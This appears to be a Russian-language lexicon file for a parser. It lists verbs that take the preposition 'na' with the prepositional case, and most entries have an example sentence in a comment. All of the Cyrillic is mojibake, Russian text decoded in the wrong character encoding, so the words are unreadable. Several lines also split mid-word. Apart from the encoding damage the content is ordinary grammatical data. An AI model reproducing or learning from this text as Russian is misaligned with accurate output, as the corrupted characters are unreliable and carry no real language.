rus_verbs:ะะะกะะฏะขะฌ{}, // ะะฝ ะฐะบัะธะฒะธัะพะฒะฐะป ัะฟัะฐะฒะปะตะฝะธะต, ะธ ะฝะฐ ัะบัะฐะฝะต ัะฝะพะฒะฐ ะทะฐัะธัะปะพ ะธะทะพะฑัะฐะถะตะฝะธะต ะฟะพะปัะผะตัััะฐ. (ะะะกะะฏะขะฌ)
rus_verbs:ะะะะ ะะะขะฌะกะฏ{}, // ะกะผะตััะฝะธะบ ะฒะทะพัะฒะฐะปัั ะฝะฐ ะฟัะตะดะฒัะฑะพัะฝะพะผ ะผะธัะธะฝะณะต ะฒ ะะฐะบะธััะฐะฝะต (ะะะะ ะะะขะฌะกะฏ)
rus_verbs:ะธัะบัะธัััั{},
rus_verbs:ะะะะ ะะะะะขะฌ{}, // ะะฐ ะฒัะฑะพัะฐั
ะฒ ะธัะฐะฝัะบะธะน ะฟะฐัะปะฐะผะตะฝั ะฟะพะฑะตะดั ะพะดะตัะถะธะฒะฐัั ะฟัะพัะธะฒะฝะธะบะธ ะดะตะนััะฒัััะตะณะพ ะฟัะตะทะธะดะตะฝัะฐ (ะะะะ ะะะะะขะฌ)
rus_verbs:ะะ ะะกะะงะฌ{}, // ะะฐ ะฃะบัะฐะธะฝะต ะฟัะตัะตะบะปะธ ะดะตัะทะบะธะน ะฟะพะฑะตะณ ะทะฐะบะปััะตะฝะฝัั
ะฝะฐ ะฒะตััะพะปะตัะต (ะะ ะะกะะงะฌ)
rus_verbs:ะฃะะะขะะขะฌ{}, // ะะพะปัะน ะฝะพัะฒะตะถะตั ัะปะตัะตะป ะฝะฐ ะปัะถะฐั
ั ััะฐะผะฟะปะธะฝะฐ ะฝะฐ 60 ะผะตััะพะฒ (ะฃะะะขะะขะฌ)
rus_verbs:ะะ ะะฅะะะะขะฌ{}, // ัะบััะฒะฐััะธะนัั ะฒ ะปะตัั ะฐะผะตัะธะบะฐะฝัะบะธะน ะฟะพะดัะพััะพะบ ะฟัะพั
ะพะดะธะป ะธะฝะธัะธะฐัะธั ะฝะฐ ะพั
ะพัะต, ะฒัะฟะธะฒ ะบััะถะบั ะบัะพะฒะธ ะฟะตัะฒะพะณะพ ัะฑะธัะพะณะพ ะธะผ ะพะปะตะฝั (ะะ ะะฅะะะะขะฌ)
rus_verbs:ะกะฃะฉะะกะขะะะะะขะฌ{}, // ะะฐ ะะฐััะต ัััะตััะฒะพะฒะฐะปะธ ััะปะพะฒะธั ะดะปั ะถะธะทะฝะธ (ะกะฃะฉะะกะขะะะะะขะฌ)
rus_verbs:ะฃะะะะะขะฌ{}, // ะะพะฑะตะดั ะฒ ะะธะณะต ัะตะผะฟะธะพะฝะพะฒ ัะบะฐะถัั ะฝะฐ ัะฐัะฐั
(ะฃะะะะะขะฌ)
rus_verbs:ะพัะฒะตััะธ{}, // ะพัะฒะตััะธ ะดััั ะฝะฐ ะปัะดัั
rus_verbs:ัั
ะพะดะธัััั{}, // ะะฑะฐ ะฟัะพัะตััะพัะฐ ัั
ะพะดะธะปะธัั ะฝะฐ ัะพะผ, ััะพ ะฒ ัะตัะตะฟะฝะพะน ะบะพัะพะฑะบะต ะดะธะฝะพะทะฐะฒัะฐ
rus_verbs:ัะพะนัะธัั{},
rus_verbs:ะะะะะ ะฃะะะขะฌ{}, // ะะพะบะฐะทะฐัะตะปัััะฒะพ ะฝะฐะปะธัะธั ะฟะพะดะฟะพะฒะตัั
ะฝะพััะฝะพะณะพ ะพะบะตะฐะฝะฐ ะฝะฐ ะะฒัะพะฟะต ะพะฑะฝะฐััะถะตะฝะพ ะฝะฐ ะตั ะฟะพะฒะตัั
ะฝะพััะธ (ะะะะะ ะฃะะะขะฌ)
rus_verbs:ะะะะะฎะะะขะฌะกะฏ{}, // ะ ะตะดะบะธะน ะทะพะดะธะฐะบะฐะปัะฝัะน ัะฒะตั ะฒัะบะพัะต ะฑัะดะตั ะฝะฐะฑะปัะดะฐัััั ะฝะฐ ะฝะพัะฝะพะผ ะฝะตะฑะต (ะะะะะฎะะะขะฌะกะฏ)
rus_verbs:ะะะกะขะะะะฃะขะฌ{}, // ะะฐ ะฒัะตั
ะฐะฒะฐัะธะนะฝัั
ัะตะฐะบัะพัะฐั
ะดะพััะธะณะฝััะพ ัะพััะพัะฝะธะต ัะฐะบ ะฝะฐะทัะฒะฐะตะผะพะน ั
ะพะปะพะดะฝะพะน ะพััะฐะฝะพะฒะบะธ (ะะะกะขะะะะฃะขะฌ/ะะะกะขะะงะฌ)
ะณะปะฐะณะพะป:ะะะกะขะะงะฌ{},
ะธะฝัะธะฝะธัะธะฒ:ะะะกะขะะงะฌ{},
rus_verbs:ะทะฐะฒะตััะธัั{}, // ะ ะพััะธะนัะบะธะต ะฑะธะฐัะปะพะฝะธััั ะทะฐะฒะตััะธะปะธ ัะตะผะฟะธะพะฝะฐั ะผะธัะฐ ะฝะฐ ะผะฐะถะพัะฝะพะน ะฝะพัะต
rus_verbs:ะ ะะกะะะะะซะะะขะฌ{},
rus_verbs:ะคะะะฃะกะะ ะะะะขะฌะกะฏ{}, // ะะฝะฒะตััะพัั ะฟัะตะดะฟะพัะธัะฐัั ัะพะบััะธัะพะฒะฐัััั ะฝะฐ ััะตะดะฝะตััะพัะฝัั
ะพะถะธะดะฐะฝะธัั
(ะคะะะฃะกะะ ะะะะขะฌะกะฏ)
rus_verbs:ะะะกะะ ะะะะะะขะฌ{}, // ะบะฐะบ ะฝะตัะตััะตะทะฝะพ ะฒะพัะฟัะธะฝะธะผะฐะปะธ ะตะณะพ ะฝะฐ ะฒัะฑะพัะฐั
ะผััะฐ (ะะะกะะ ะะะะะะขะฌ)
rus_verbs:ะะฃะจะะะะขะฌ{}, // ะฝะฐ ัะตััะธัะพัะธะธ ะขะฒะตััะบะพะน ะพะฑะปะฐััะธ ะฑััะตะฒะฐะปะฐ ะณัะพะทะฐ , ะฒ ัะตะทัะปััะฐัะต ะบะพัะพัะพะน ะฟัะพะธะทะพัะปะพ ะพัะบะปััะตะฝะธะต ัะปะตะบััะพัะฝะฐะฑะถะตะฝะธั ะฒ ััะดะต ะผัะฝะธัะธะฟะฐะปัะฝัั
ะพะฑัะฐะทะพะฒะฐะฝะธะน ัะตะณะธะพะฝะฐ (ะะฃะจะะะะขะฌ)
rus_verbs:ะฃะงะะกะขะะขะฌะกะฏ{}, // ะ ะฟะพัะปะตะดะฝะธะต ะผะตัััั ะฒ ะทะพะฝะต ะพัะฒะตัััะฒะตะฝะฝะพััะธ ะฑัะฝะดะตัะฒะตัะฐ ะฝะฐ ัะตะฒะตัะต ะัะณะฐะฝะธััะฐะฝะฐ ััะฐััะธะปะธัั ัะปััะฐะธ ะพะฑัััะตะปะพะฒ ะฟะพะปะตะฒัั
ะปะฐะณะตัะตะน ะฝะตะผะตัะบะธั
ะผะธัะพัะฒะพััะตะฒ (ะฃะงะะกะขะะขะฌะกะฏ)
rus_verbs:ะะซะะะ ะะขะฌ{}, // ะะพัะตะผั ะถะตะฝัะบะฐั ัะฑะพัะฝะฐั ะ ะพััะธะธ ะฝะต ะผะพะถะตั ะฒัะธะณัะฐัั ะผะตะดะฐะปั ะฝะฐ ัะตะผะฟะธะพะฝะฐัะต ะผะธัะฐ (ะะซะะะ ะะขะฌ)
rus_verbs:ะะ ะะะะกะขะฌ{}, // ะัะพะฟะฐะฒัะธะผ ะฝะฐ ะฟัะพะณัะปะบะต ะฐะบัะตัะพะผ ะทะฐะธะฝัะตัะตัะพะฒะฐะปะธัั ัะปะตะดะพะฒะฐัะตะปะธ (ะะ ะะะะกะขะฌ)
rus_verbs:ะฃะะะขะฌ{}, // ะกะธะปะพะฒะธะบะธ ัะฑะธะปะธ ะดะฒัั
ะฑะพะตะฒะธะบะพะฒ ะฝะฐ ะฐะดะผะธะฝะธัััะฐัะธะฒะฝะพะน ะณัะฐะฝะธัะต ะะฝะณััะตัะธะธ ะธ ะงะตัะฝะธ (ะฃะะะขะฌ)
rus_verbs:ะฟะพะดะฟััะณะฝััั{}, // ะบะพะฑะตะปั ะฝะตะปะตะฟะพ ะฟะพะดะฟััะณะฝัะป ะฝะฐ ััะตั
ะฝะพะณะฐั
, ะฐ ะตะณะพ ั
ะพะทัะธะฝ ะพัะฟัะฐะฒะธะป ััััั ะฟะธะฒะฐ ะผะธะผะพ ััะฐ
rus_verbs:ะฟะพะดะฟััะณะธะฒะฐัั{},
rus_verbs:ะฒััะฒะตัะธัััั{}, // ะฝะฐ ะบะพะผะฟัััะตัะต ะฒััะฒะตัะธััั ัะฒะพั ะฟะพะดะฟะธัั
rus_verbs:ัะธะณััะธัะพะฒะฐัั{}, // ะตะณะพ ะฟะพัััะตั ัะธะณััะธััะตั ะฝะฐ ัััะฐะฝะธัะฐั
ะฟะตัะฐัะธ ะธ ัะตะปะตัะบัะฐะฝะฐั
rus_verbs:ะดะตะนััะฒะพะฒะฐัั{}, // ะฒััะฒะปะตะฝะฝัะน ะบะพะฝััะฐะฑะฐะฝะดะฝัะน ะบะฐะฝะฐะป ะดะตะนััะฒะพะฒะฐะป ะฝะฐ ะฟะพััะพัะฝะฝะพะน ะพัะฝะพะฒะต
rus_verbs:ะกะะฅะ ะะะะขะฌะกะฏ{}, // ะะฐ ััะฝะบะต ะผะตะถะดัะฝะฐัะพะดะฝัั
ัะดะตะปะพะบ IPO ัะพั
ัะฐะฝะธััั ะฒััะพะบะฐั ะฐะบัะธะฒะฝะพััั (ะกะะฅะ ะะะะขะฌะกะฏ ะะ)
rus_verbs:ะะ ะะะขะ{}, // ะะตะพะฑััะฝัะน ะบะพะฝะบััั ะฟัะพััะป ะฝะฐ ัะตะฒะตัะต ะจะฒะตัะธะธ (ะะ ะะะขะ ะะ ะฟัะตะดะป)
rus_verbs:ะะะงะะขะฌะกะฏ{}, // ะะฐ ัะตะฒะตัะพ-ะฒะพััะพะบะต ะกะจะ ะฝะฐัะฐะปะฐัั ัะธะปัะฝะฐั ัะฝะตะถะฝะฐั ะฑััั. (ะะะงะะขะฌะกะฏ ะะ ะฟัะตะดะป)
rus_verbs:ะะะะะะะะฃะขะฌ{}, // ะะพะฝัะปะธะบั ะฒะพะทะฝะธะบ ะฝะฐ ะฟะพัะฒะต ัะพะฒะผะตััะฝะพะน ะบะพะผะผะตััะตัะบะพะน ะดะตััะตะปัะฝะพััะธ ะฟะพ ะฒััะฐัะธะฒะฐะฝะธั ะพะฒะพัะตะน ะธ ะทะตะปะตะฝะธ (ะะะะะะะะฃะขะฌ ะะ)
rus_verbs:ะกะะะขะะขะฌะกะฏ{}, // ะพะฝะฐ ะฟะพ-ะฟัะตะถะฝะตะผั ัะฒะตัะธััั ะฝะฐ ะปะธัะฐั
ะปัะดะตะน (ะกะะะขะะขะฌะกะฏ ะะ ะฟัะตะดะป)
rus_verbs:ะะ ะะะะะะะะะขะฌ{}, // ะะปะฐััะธ ะะพัะบะฒั ะฝะฐะผะตัะตะฝั ะพัะณะฐะฝะธะทะพะฒะฐัั ะผะฐัะปะตะฝะธัะฝัะต ะณัะปัะฝะธั ะฝะฐ 100 ะฟะปะพัะฐะดะบะฐั
(ะะ ะะะะะะะะะขะฌ ะะ ะฟัะตะดะป)
rus_verbs:ะะะะขะฌ{}, // ะะผะตั ะฒะปะฐััั ะฝะฐ ะฝะธะทะพะฒะพะผ ััะพะฒะฝะต, ะพะบะฐะทัะฒะฐัั ัะฐะผะพะต ะฝะตะฟะพััะตะดััะฒะตะฝะฝะพะต ะธ ะพะฟัะตะดะตะปัััะตะต ะฒะปะธัะฝะธะต ะฝะฐ ะฒะตัั
ะพะฒะฝัั ะฒะปะฐััั (ะะะะขะฌ ะะ ะฟัะตะดะป)
rus_verbs:ะะะ ะะะะะะขะฌ{}, // ะะฟัะพะฑะพะฒะฐัั ะธ ะพััะพัะธัั ััะพั ะธะฝััััะผะตะฝั ะฝะฐ ะผะตััะฝัั
ะธ ัะตะณะธะพะฝะฐะปัะฝัั
ะฒัะฑะพัะฐั
(ะะะ ะะะะะะขะฌ, ะะขะขะะงะะขะฌ ะะ ะฟัะตะดะป)
rus_verbs:ะะขะขะะงะะขะฌ{},
rus_verbs:ะะะะะะะขะฌ{}, // ะฃัะฐััะฝะธะบะฐะผ ัะพะฒะตัะฐะฝะธั ะฟัะตะดะปะพะถะตะฝะพ ะฟะพะดะณะพัะพะฒะธัั ะฟะพ ััะพะผั ะฒะพะฟัะพัั ัะฒะพะธ ะฟัะตะดะปะพะถะตะฝะธั ะธ ะดะพะปะพะถะธัั ะฝะฐ ะฟะพะฒัะพัะฝะพะน ะฒัััะตัะต (ะะะะะะะขะฌ ะะ ะฟัะตะดะป)
rus_verbs:ะะะ ะะะะะซะะะขะฌะกะฏ{}, // ะกะพะปะตะฒัะต ะธ ะฟัะปะตะฒัะต ะฑััะธ , ะพะฑัะฐะทัััะธะตัั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััะธ ะพะฑะฝะฐะถะตะฝะฝะพะน ะฟะปะพัะฐะดะธ ะผะพัั , ัะฝะธััะพะถะฐัั ััะพะถะฐะธ ะธ ัะฐััะธัะตะปัะฝะพััั (ะะะ ะะะะะซะะะขะฌะกะฏ ะะ)
rus_verbs:ะกะะะ ะะขะฌ{}, // ะธัะฟะพะปัะทัะตั ัะพะฑัะฐะฝะฝัะต ะฝะฐ ะผะตััะฝะพะผ ััะฝะบะต ะดะตะฟะพะทะธัั (ะกะะะ ะะขะฌ ะะ ะฟัะตะดะป)
ะธะฝัะธะฝะธัะธะฒ:ะะะฅะะะะขะฌะกะฏ{ ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะฝะฐั
ะพะดะธะฒัะธั
ัั ะฝะฐ ะฑะพััั ัะฐะผะพะปะตัะฐ (ะะะฅะะะะขะฌะกะฏ ะะ ะฟัะตะดะป)
ะณะปะฐะณะพะป:ะะะฅะะะะขะฌะกะฏ{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐั
ะพะดะธะฒัะธะนัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐั
ะพะดััะธะนัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะฝะฐั
ะพะดััั{},
rus_verbs:ะะะขะะะะขะฌ{}, // ะฟะธัั ะณะพัะพะฒัั ัะฐะผะธ ะฝะฐ ะฟัะธะผััะฐั
(ะะะขะะะะขะฌ ะะ ะฟัะตะดะป)
rus_verbs:ะ ะะะะะขะฌะกะฏ{}, // ะะฝะธ ัะพะพะฑัะธะปะธ ะพ ัะธะปัะฝะพะผ ั
ะปะพะฟะบะต , ะบะพัะพััะน ัะฐะทะดะฐะปัั ะฝะฐ ัะตััะธัะพัะธะธ ะฝะตััะตะฑะฐะทั (ะ ะะะะะขะฌะกะฏ ะะ)
rus_verbs:ะะะะกะะะะฌะะซะะะขะฌะกะฏ{}, // ะฟะพะดัะบะฐะปัะทัะฒะฐัััั ะฝะฐ ัะพะน ะถะต ะฐะฟะตะปััะธะฝะพะฒะพะน ะบะพัะบะต (ะะะะกะะะะฌะะซะะะขะฌะกะฏ ะะ)
rus_verbs:ะกะะ ะซะขะฌะกะฏ{}, // ะะตัะผะฐะฝะธั: ะปะฐัะฒะธะตั ะพะณัะฐะฑะธะป ะผะฐะณะฐะทะธะฝ ะธ ะฟะพะฟััะฐะปัั ัะบัััััั ะฝะฐ ัะฐะบัะธ (ะกะะ ะซะขะฌะกะฏ ะะ ะฟัะตะดะป)
rus_verbs:ะะซะ ะะกะขะะขะฌ{}, // ะะฐัะธะตะฝัั ะฒััะฐััะธะปะธ ะฝะพะฒัะน ะฝะพั ะฝะฐ ััะบะต (ะะซะ ะะกะขะะขะฌ ะะ)
rus_verbs:ะะ ะะะะะะะกะขะ ะะ ะะะะขะฌ{}, // ะะฝะธ ั
ะพััั ะฟะพะดัะตัะบะฝััั ัะผะพัะธะพะฝะฐะปัะฝัั ัะพะฝะบะพััั ะพะฟะฟะพะทะธัะธะพะฝะตัะฐ ะธ ะฝะฐ ััะพะผ ัะพะฝะต ะฟัะพะดะตะผะพะฝัััะธัะพะฒะฐัั ะฑะตะทะดััะฝะพััั ัะพััะธะนัะบะพะน ะฒะปะฐััะธ (ะะ ะะะะะะะกะขะ ะะ ะะะะขะฌ ะะ ะฟัะตะดะป)
rus_verbs:ะะกะฃะฉะะกะขะะะฏะขะฌะกะฏ{}, // ะฟะตัะฒะธัะฝัะน ะฐะฝะฐะปะธะท ัะผะตัะธ ะทะฐะฟะฐั
ะพะฒ ะผะพะถะตั ะพัััะตััะฒะปััััั ัะถะต ะฝะฐ ััะพะฒะฝะต ัะตัะตะฟัะพัะฝัั
ะฝะตะนัะพะฝะพะฒ ะฑะปะฐะณะพะดะฐัั ะผะตั
ะฐะฝะธะทะผั ะปะฐัะตัะฐะปัะฝะพะณะพ ัะพัะผะพะถะตะฝะธั (ะะกะฃะฉะะกะขะะะฏะขะฌะกะฏ ะะ)
rus_verbs:ะะซะะะะฏะขะฌะกะฏ{}, // ะฏะณะพะดั ะฑัััะฝะธะบะธ, ัะตะทะบะพ ะฒัะดะตะปัััะธะตัั ัะฒะพะธะผ ะบัะฐัะฝัะผ ัะฒะตัะพะผ ะฝะฐ ัะพะฝะต ะทะตะปัะฝะพะน ะปะธััะฒั, ะฟะพะตะดะฐัััั ะถะธะฒะพัะฝัะผะธ ะธ ะฟัะธัะฐะผะธ (ะะซะะะะฏะขะฌะกะฏ ะะ)
rus_verbs:ะ ะะกะะ ะซะขะฌ{}, // ะะฐ ะฃะบัะฐะธะฝะต ัะฐัะบัััะพ ะบััะฟะฝะพะต ะผะพัะตะฝะฝะธัะตััะฒะพ ะฒ ััะตัะต ัััะธะทะผะฐ (ะ ะะกะะ ะซะขะฌ ะะ)
rus_verbs:ะะะะะ ะะะะขะฌะกะฏ{}, // ะะผะปะตั ะพะฑะถะฐัะธะฒะฐะตััั ะฝะฐ ัะปะธะฒะพัะฝะพะผ ะผะฐัะปะต ั ะพะดะฝะพะน ััะพัะพะฝั, ะฟะพะบะฐ ะพะฝ ะฟะพััะธ ะฟะพะปะฝะพัััั ะฝะต ะทะฐะณัััะตะตั (ะะะะะ ะะะะขะฌะกะฏ ะะ)
rus_verbs:ะะ ะะะะขะะะะฏะขะฌ{}, // ะฏะธัะฝะธัะฐ โ ะฑะปัะดะพ ะตะฒัะพะฟะตะนัะบะพะน ะบัั
ะฝะธ, ะฟัะธะณะพัะพะฒะปัะตะผะพะต ะฝะฐ ัะบะพะฒะพัะพะดะต ะธะท ัะฐะทะฑะธััั
ัะธั (ะะ ะะะะขะะะะฏะขะฌ ะะ)
rus_verbs:ะ ะะกะกะะะะขะฌ{}, // ะะตะฝัะบะฐ ัะฐััะฐะดะธะป ะธะณัััะบะธ ะฝะฐ ัะบะฐะผะตะตัะบะต (ะ ะะกะกะะะะขะฌ ะะ)
rus_verbs:ะะะะะะะขะฌ{}, // ะพะฑะพะถะดะธ ะะฝะถะตะปั ะฝะฐ ะพััะฐะฝะพะฒะบะต ััะพะปะปะตะนะฑััะฐ (ะะะะะะะขะฌ ะะ)
rus_verbs:ะฃะงะะขะฌะกะฏ{}, // ะะฐัะธะฝะฐ ััะธััั ะฝะฐ ัะฐะบัะปััะตัะต ะถััะฝะฐะปะธััะธะบะธ (ะฃะงะะขะฌะกะฏ ะะ ะฟัะตะดะป)
rus_verbs:ัะฐัะบะปะฐะดัะฒะฐัััั{}, // ะกะพะทัะตะฒัะธะต ัะตะผะตะฝะฝัะต ัะบะทะตะผะฟะปััั ัะฐัะบะปะฐะดัะฒะฐัั ะฝะฐ ัะพะปะฝัะต ะธะปะธ ะฒ ัะตะฟะปะพะผ ะผะตััะต, ะณะดะต ะพะฝะธ ะดะตะปะฐัััั ะผัะณะบะธะผะธ (ะ ะะกะะะะะซะะะขะฌะกะฏ ะ, ะะ)
rus_verbs:ะะะกะะฃะจะะขะฌ{}, // ะะพัะปััะฐะนัะต ะดััะทะตะน ะธ ะฒัะฐะณะพะฒ ะฝะฐ ัะฐัััะพัะฝะธะธ! (ะะะกะะฃะจะะขะฌ ะะ)
rus_verbs:ะะะกะขะะกะฌ{}, // ะะฐ ััะพัะพะฝะต ะฟัะพัะธะฒะฝะธะบะฐ ะฒัั ะฝะพัั ะฒะตะปะฐัั ะฟะตัะตะณััะฟะฟะธัะพะฒะบะฐ ัะธะป. (ะะะกะขะะกะฌ ะะ)
rus_verbs:ะะะะะขะะ ะะกะะะะขะฌะกะฏ{}, // ะบะพััะตัะฟะพะฝะดะตะฝั ะฟะพะธะฝัะตัะตัะพะฒะฐะปัั ั ะปัะดะตะน ะฝะฐ ัะปะธัะต (ะะะะะขะะ ะะกะะะะขะฌะกะฏ ะะ)
rus_verbs:ะะขะะ ะซะะะขะฌะกะฏ{}, // ะ ะพััะธะนัะบะธะต ะฑะธัะถะธ ะพัะบััะฒะฐัััั ะฝะฐ ะฝะตะณะฐัะธะฒะฝะพะผ ัะพะฝะต (ะะขะะ ะซะะะขะฌะกะฏ ะะ)
rus_verbs:ะกะฅะะะะขะฌ{}, // ะั ัั
ะพะดะธัะต ะฝะฐ ัะปะตะดัััะตะน ะพััะฐะฝะพะฒะบะต? (ะกะฅะะะะขะฌ ะะ)
rus_verbs:ะะะะะะะฃะขะฌ{}, // ะั ะพัะตั ะฟะพะณะธะฑ ะฝะฐ ะฒะพะนะฝะต. (ะะะะะะะฃะขะฌ ะะ)
rus_verbs:ะะซะะขะ{}, // ะะฝะธะณะฐ ะฒัะนะดะตั ะฝะฐ ะฑัะดััะตะน ะฝะตะดะตะปะต. (ะะซะะขะ ะะ ะฟัะตะดะป)
rus_verbs:ะะะกะขะะกะฌ{}, // ะะพัะฐะฑะปั ะฝะตััััั ะฝะฐ ะฒัะตั
ะฟะฐัััะฐั
. (ะะะกะขะะกะฌ ะะ ะฟัะตะดะป)
rus_verbs:ะฒะบะฐะปัะฒะฐัั{}, // ะะฐะฟะฐ ะฒะบะฐะปัะฒะฐะตั ะฝะฐ ัะฐะฑะพัะต, ััะพะฑั ะฟัะพะบะพัะผะธัั ัะตะผัั (ะฒะบะฐะปัะฒะฐัั ะฝะฐ)
rus_verbs:ะดะพะบะฐะทะฐัั{}, // ัะฐะทัะฐะฑะพััะธะบะธ ะดะพะบะฐะทะฐะปะธ ะฝะฐ ะฟัะฐะบัะธะบะต ะฟัะธะผะตะฝะธะผะพััั ะดะฐะฝะฝะพะณะพ ะฟะพะดั
ะพะดะฐ ะบ ะพะฑััะตัั ััะตะฝ (ะดะพะบะฐะทะฐัั ะฝะฐ, ะฟัะธะผะตะฝะธะผะพััั ะบ)
rus_verbs:ั
ัะปะธะณะฐะฝะธัั{}, // ะดะพะทะฒะพะปััั ะบะพะผั-ัะพ ั
ัะปะธะณะฐะฝะธัั ะฝะฐ ะบะปะฐะดะฑะธัะต (ั
ัะปะธะณะฐะฝะธัั ะฝะฐ)
ะณะปะฐะณะพะป:ะฒััะธัะฐัั{ะฒะธะด:ัะพะฒะตัั}, ะธะฝัะธะฝะธัะธะฒ:ะฒััะธัะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ะฒััะธัะฐัั ะฝะฐ ัะฐะนัะต (ะฒััะธัะฐัั ะฝะฐ ัะฐะนัะต)
ะดะตะตะฟัะธัะฐััะธะต:ะฒััะธัะฐะฒ{},
rus_verbs:ะฐะบะบะพะผะฟะฐะฝะธัะพะฒะฐัั{}, // ะพะฝ ะฐะบะบะพะผะฟะฐะฝะธัะพะฒะฐะป ะฟะตะฒัั ะฝะฐ ะณัะฑะฝะพะน ะณะฐัะผะพัะบะต (ะฐะบะบะพะผะฟะฐะฝะธัะพะฒะฐัั ะฝะฐ)
rus_verbs:ะฝะฐะฑัะฐัั{}, // ััะฐััั ั ะทะฐะณะพะปะพะฒะบะพะผ, ะฝะฐะฑัะฐะฝะฝัะผ ะฝะฐ ะบะพะผะฟัััะตัะต
rus_verbs:ัะดะตะปะฐัั{}, // ะบะฝะธะณะฐ ั ะธะปะปััััะฐัะธะตะน, ัะดะตะปะฐะฝะฝะพะน ะฝะฐ ะบะพะผะฟัััะตัะต
rus_verbs:ัะฐะทะฒะฐะปะธัััั{}, // ะะฝัะพะฝะธะพ ัะฐะทะฒะฐะปะธะปัั ะฝะฐ ะดะธะฒะฐะฝะต
rus_verbs:ัะปะตัััั{}, // ะะฝัะพะฝะธะพ ัะปะตะณัั ะฝะฐ ะฟะพะปั
rus_verbs:ะทะฐััะฑะธัั{}, // ะะฐััะฑะธ ัะตะฑะต ะฝะฐ ะฝะพัั.
rus_verbs:ัะตะฝะธัั{}, // ะะณะพ ัะตะฝัั ะฝะฐ ะทะฐะฒะพะดะต.
rus_verbs:ะฒะตัะฝััััั{}, // ะัะตั ะฒะตัะฝัะปัั ะฝะฐ ะทะฐะบะฐัะต.
rus_verbs:ัะธัั{}, // ะั ัะผะตะตัะต ัะธัั ะฝะฐ ะผะฐัะธะฝะบะต?
rus_verbs:ะฑะธัั{}, // ะกะบะพั ะฑััั ะฝะฐ ะฑะพะนะฝะต.
rus_verbs:ะฒัะตั
ะฐัั{}, // ะั ะฒัะตั
ะฐะปะธ ะฝะฐ ัะฐััะฒะตัะต.
rus_verbs:ะฒะฐะปััััั{}, // ะะฐ ะฟะพะปั ะฒะฐะปัะตััั ะฑัะผะฐะณะฐ.
rus_verbs:ัะฐะทะปะพะถะธัั{}, // ะพะฝะฐ ัะฐะทะปะพะถะธะปะฐ ะฟะพะปะพัะตะฝัะต ะฝะฐ ะฟะตัะบะต
rus_verbs:ะทะฐะฝะธะผะฐัััั{}, // ั ะทะฐะฝะธะผะฐััั ะฝะฐ ััะตะฝะฐะถะตัะต
rus_verbs:ะฟะพะทะฐะฝะธะผะฐัััั{},
rus_verbs:ะฟะพัั
ะฐัั{}, // ะฟะพัั
ะฐัั ะฝะฐ ะปัะณั
rus_verbs:ะฟัะตัะตะบะฐัั{}, // ะฟัะตัะตะบะฐัั ะฝะฐ ะบะพัะฝั
rus_verbs:ะธะทัััะฝััััั{}, // ะธะทัััะฝััััั ะฝะฐ ะฝะตะฟะพะฝััะฝะพะผ ัะทัะบะต
rus_verbs:ัะฐะทะฒะตัะธัั{}, // ัะฐะทะฒะตัะธัั ะฝะฐ ััะพะปะฑะฐั
rus_verbs:ะพะฑัะฐััะธ{}, // ะพะฑัะฐััะธ ะฝะฐ ัะถะฝะพะน ัะฐััะธ
rus_verbs:ะพัะบะปะฐะดัะฒะฐัััั{}, // ะพัะบะปะฐะดัะฒะฐัััั ะฝะฐ ััะตะฝะบะฐั
ะฐััะตัะธะน
rus_verbs:ัะฝะพัะธัั{}, // ัะฝะพัะธัั ะฝะฐ ะฝะพัะธะปะบะฐั
rus_verbs:ะฟัะพะฟะปััั{}, // ะฟัะพะฟะปััั ะฝะฐ ะฟะปะพัั
rus_verbs:ะฟะพะดัะตะทะถะฐัั{}, // ะฟะพะดัะตะทะถะฐัั ะฝะฐ ะฟะพะฒะพะทะบะฐั
rus_verbs:ะฟัะปััะธัะพะฒะฐัั{}, // ะฟัะปััะธัะพะฒะฐัั ะฝะฐ ะปะฑั
rus_verbs:ัะฐััะตััััั{}, // ะฟัะธัั ัะฐััะตะปะธัั ะฝะฐ ะฒะตัะบะฐั
rus_verbs:ะทะฐััะพะฟะพัะธัััั{}, // ะทะฐััะพะฟะพัะธัััั ะฝะฐ ะฟะตัะฒะพะผ ะฟัะฝะบัะต
rus_verbs:ะธะทะปะพะฒะธัั{}, // ะธะทะปะพะฒะธัั ะฝะฐ ะพะบัะฐะธะฝะฐั
rus_verbs:ะฟะพะบะฐัะฐัััั{}, // ะฟะพะบะฐัะฐัััั ะฝะฐ ะผะฐัะธะฝะบะฐั
rus_verbs:ะทะฐะปะพะฟะพัะฐัั{}, // ะทะฐะปะพะฟะพัะฐัั ะฝะฐ ะฝะตะธะทะฒะตััะฝะพะผ ัะทัะบะต
rus_verbs:ัะฐัััะณะธะฒะฐัั{}, // ัะฐัััะณะธะฒะฐัั ะฝะฐ ััะฐะฝะบะต
rus_verbs:ะฟะพะดะตะปัะฒะฐัั{}, // ะฟะพะดะตะปัะฒะฐัั ะฝะฐ ะฟะปัะถะต
rus_verbs:ะฟะพะดััะตัะตัั{}, // ะฟะพะดััะตัะตัั ะฝะฐ ะฟะปะพัะฐะดะบะต
rus_verbs:ะฟัะพะตะบัะธัะพะฒะฐัั{}, // ะฟัะพะตะบัะธัะพะฒะฐัั ะฝะฐ ะบะพะผะฟัััะตัะต
rus_verbs:ะฟัะธััะปะธัััั{}, // ะฟัะธััะปะธัััั ะฝะฐ ะบััะตัะบะต
rus_verbs:ะดะพะทะฒะพะปััั{}, // ะดะพะทะฒะพะปััั ะบะพะผั-ัะพ ั
ัะปะธะณะฐะฝะธัั ะฝะฐ ะบะปะฐะดะฑะธัะต
rus_verbs:ะฟะพัััะตะปััั{}, // ะฟะพัััะตะปััั ะฝะฐ ะธัะฟััะฐัะตะปัะฝะพะผ ะฟะพะปะธะณะพะฝะต
rus_verbs:ะทะฐัะธะถะธะฒะฐัััั{}, // ะทะฐัะธะถะธะฒะฐัััั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ะฝะตะถะธัััั{}, // ะฝะตะถะธัััั ะฝะฐ ัะพะปะฝััะบะต
rus_verbs:ะฟัะธัะพะผะธัััั{}, // ะฟัะธัะพะผะธัััั ะฝะฐ ัะฐะฑะพัะตะผ ะผะตััะต
rus_verbs:ะฟะพัะตะปััััั{}, // ะฟะพัะตะปััััั ะฝะฐ ัะตัะดะฐะบะต
